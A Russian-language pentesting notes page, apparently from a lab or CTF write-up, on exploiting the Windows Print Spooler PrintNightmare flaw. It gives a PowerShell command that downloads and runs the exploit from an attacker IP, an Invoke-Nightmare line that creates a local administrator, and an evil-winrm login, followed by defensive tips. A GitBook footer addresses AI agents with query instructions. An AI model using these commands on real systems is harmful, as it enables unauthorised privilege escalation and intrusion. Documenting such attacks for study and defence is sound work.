> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/windows-vulnerabilities/vulnerable-services-and-processes/print-spooler-printnightmare.md).

# Print Spooler - PrintNightmare

`spoolsv.exe` — это служба диспетчера очереди печати Windows. Если цель уязвима, эксплуатация в стиле PrintNightmare может позволить локальное или удалённое повышение привилегий в зависимости от версии Windows, уровня обновлений и доступности службы.

## Обнаружение

Сопоставьте активную или доступную службу диспетчера очереди печати с точной версией Windows и установленными исправлениями.

<figure><img src="/files/bc0b008af5e791000b1ef9b877dd4000b3984cb9" alt="Windows Print Spooler service identified"><figcaption></figcaption></figure>

## Эксплуатация в лаборатории

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="/files/2243a5511cd627001b18901f930294fa84f545d5" alt="PrintNightmare exploit repository"><figcaption></figcaption></figure>

Загрузите скрипт:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

Создайте в лаборатории локального пользователя-администратора:

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "lab-admin" -NewPassword "Use-A-Strong-Temporary-Password!"
```

<figure><img src="/files/188a08ccaadcaaa03ffd5984d7a25c7eeed5d395" alt="Invoke-Nightmare creating a local administrator user"><figcaption></figcaption></figure>

<figure><img src="/files/97ead9f8db512c3f45680f6e692104b5aa04a050" alt="New administrative user validation"><figcaption></figcaption></figure>

## Подключение

```bash
evil-winrm -i 10.10.11.106 -u 'lab-admin' -p 'Use-A-Strong-Temporary-Password!'
```

<figure><img src="/files/d939113a90bf9978ae351fba390fa217662c15c6" alt="Evil-WinRM connection with the created administrator account"><figcaption></figcaption></figure>

## Ключевые моменты

* Подтвердите уязвимость через проверку версии и установленных исправлений.
* Отключайте диспетчер очереди печати там, где он не нужен, особенно на критически важных серверах.
* Отслеживайте внезапное создание локальных учетных записей администратора и подозрительные операции с драйверами принтеров.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/windows-vulnerabilities/vulnerable-services-and-processes/print-spooler-printnightmare.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
